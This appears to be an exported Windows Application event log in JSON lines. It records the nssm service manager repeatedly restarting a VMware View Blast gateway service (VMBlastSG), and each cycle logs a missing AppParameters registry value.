{"@timestamp":1646629763101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153985}}
{"@timestamp":1646629763102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153986}}
{"@timestamp":1646629763102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153987}}
{"@timestamp":1646629763103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153988}}
{"@timestamp":1646629891590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153989}}
{"@timestamp":1646629891591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153990}}
{"@timestamp":1646629891592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150988","0"]}}},"module":"Application","provider":"nssm","sequence":153991}}
{"@timestamp":1646629891592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150988","150988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153992}}
{"@timestamp":1646629891607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153993}}
{"@timestamp":1646629891608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153994}}
{"@timestamp":1646629891609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153995}}
{"@timestamp":1646629891609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153996}}
{"@timestamp":1646630020139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153997}}
{"@timestamp":1646630020140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153998}}
{"@timestamp":1646630020140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151108","0"]}}},"module":"Application","provider":"nssm","sequence":153999}}
{"@timestamp":1646630020141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151108","151108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154000}}
{"@timestamp":1646630020155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148524","0"]}}},"module":"Application","provider":"nssm","sequence":154001}}
{"@timestamp":1646630020156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148524","151108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154002}}
{"@timestamp":1646630020169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154003}}
{"@timestamp":1646630020170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154004}}
{"@timestamp":1646630020170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154005}}
{"@timestamp":1646630020171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154006}}
{"@timestamp":1646630148938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154007}}
{"@timestamp":1646630148940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154008}}
{"@timestamp":1646630148940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150188","0"]}}},"module":"Application","provider":"nssm","sequence":154009}}
{"@timestamp":1646630148941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150188","150188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154010}}
{"@timestamp":1646630148956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154011}}
{"@timestamp":1646630148957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154012}}
{"@timestamp":1646630148957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154013}}
{"@timestamp":1646630148958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154014}}
{"@timestamp":1646630277451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154015}}
{"@timestamp":1646630277451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154016}}
{"@timestamp":1646630277452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148608","0"]}}},"module":"Application","provider":"nssm","sequence":154017}}
{"@timestamp":1646630277452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148608","148608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154018}}
{"@timestamp":1646630277467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154019}}
{"@timestamp":1646630277471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154020}}
{"@timestamp":1646630277472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154021}}
{"@timestamp":1646630277475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154022}}
{"@timestamp":1646630405957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154023}}
{"@timestamp":1646630405958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154024}}
{"@timestamp":1646630405958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150752","0"]}}},"module":"Application","provider":"nssm","sequence":154025}}
{"@timestamp":1646630405960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150752","150752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154026}}
{"@timestamp":1646630405975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154027}}
{"@timestamp":1646630405976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154028}}
{"@timestamp":1646630405976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154029}}
{"@timestamp":1646630405977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154030}}
{"@timestamp":1646630534563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154031}}
{"@timestamp":1646630534565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154032}}
{"@timestamp":1646630534566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151360","0"]}}},"module":"Application","provider":"nssm","sequence":154033}}
{"@timestamp":1646630534566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151360","151360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154034}}
{"@timestamp":1646630534583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154035}}
{"@timestamp":1646630534583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154036}}
{"@timestamp":1646630534584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154037}}
{"@timestamp":1646630534585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154038}}
{"@timestamp":1646630663120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154039}}
{"@timestamp":1646630663122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154040}}
{"@timestamp":1646630663123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150956","0"]}}},"module":"Application","provider":"nssm","sequence":154041}}
{"@timestamp":1646630663123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150956","150956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154042}}
{"@timestamp":1646630663139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154043}}
{"@timestamp":1646630663139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154044}}
{"@timestamp":1646630663140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154045}}
{"@timestamp":1646630663141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154046}}
{"@timestamp":1646630791638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154047}}
{"@timestamp":1646630791639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154048}}
{"@timestamp":1646630791640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150432","0"]}}},"module":"Application","provider":"nssm","sequence":154049}}
{"@timestamp":1646630791641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150432","150432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154050}}
{"@timestamp":1646630791656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154051}}
{"@timestamp":1646630791657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154052}}
{"@timestamp":1646630791657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154053}}
{"@timestamp":1646630791658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154054}}
{"@timestamp":1646630920157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154055}}
{"@timestamp":1646630920157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154056}}
{"@timestamp":1646630920158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150784","0"]}}},"module":"Application","provider":"nssm","sequence":154057}}
{"@timestamp":1646630920159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150784","150784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154058}}
{"@timestamp":1646630920173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154059}}
{"@timestamp":1646630920174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154060}}
{"@timestamp":1646630920175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154061}}
{"@timestamp":1646630920175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154062}}
{"@timestamp":1646631048695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154063}}
{"@timestamp":1646631048697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154064}}
{"@timestamp":1646631048698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151436","0"]}}},"module":"Application","provider":"nssm","sequence":154065}}
{"@timestamp":1646631048699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151436","151436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154066}}
{"@timestamp":1646631048714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154067}}
{"@timestamp":1646631048715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154068}}
{"@timestamp":1646631048715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154069}}
{"@timestamp":1646631048716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154070}}
{"@timestamp":1646631177818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154071}}
{"@timestamp":1646631177819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154072}}
{"@timestamp":1646631177820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150932","0"]}}},"module":"Application","provider":"nssm","sequence":154073}}
{"@timestamp":1646631177834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150932","150932","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154074}}
{"@timestamp":1646631177853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154075}}
{"@timestamp":1646631177855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154076}}
{"@timestamp":1646631177855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154077}}
{"@timestamp":1646631177857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154078}}
{"@timestamp":1646631306332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154079}}
{"@timestamp":1646631306334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154080}}
{"@timestamp":1646631306334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149840","0"]}}},"module":"Application","provider":"nssm","sequence":154081}}
{"@timestamp":1646631306335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149840","149840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154082}}
{"@timestamp":1646631306352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154083}}
{"@timestamp":1646631306352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154084}}
{"@timestamp":1646631306353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154085}}
{"@timestamp":1646631306353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154086}}
{"@timestamp":1646631434856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154087}}
{"@timestamp":1646631434858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154088}}
{"@timestamp":1646631434858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150900","0"]}}},"module":"Application","provider":"nssm","sequence":154089}}
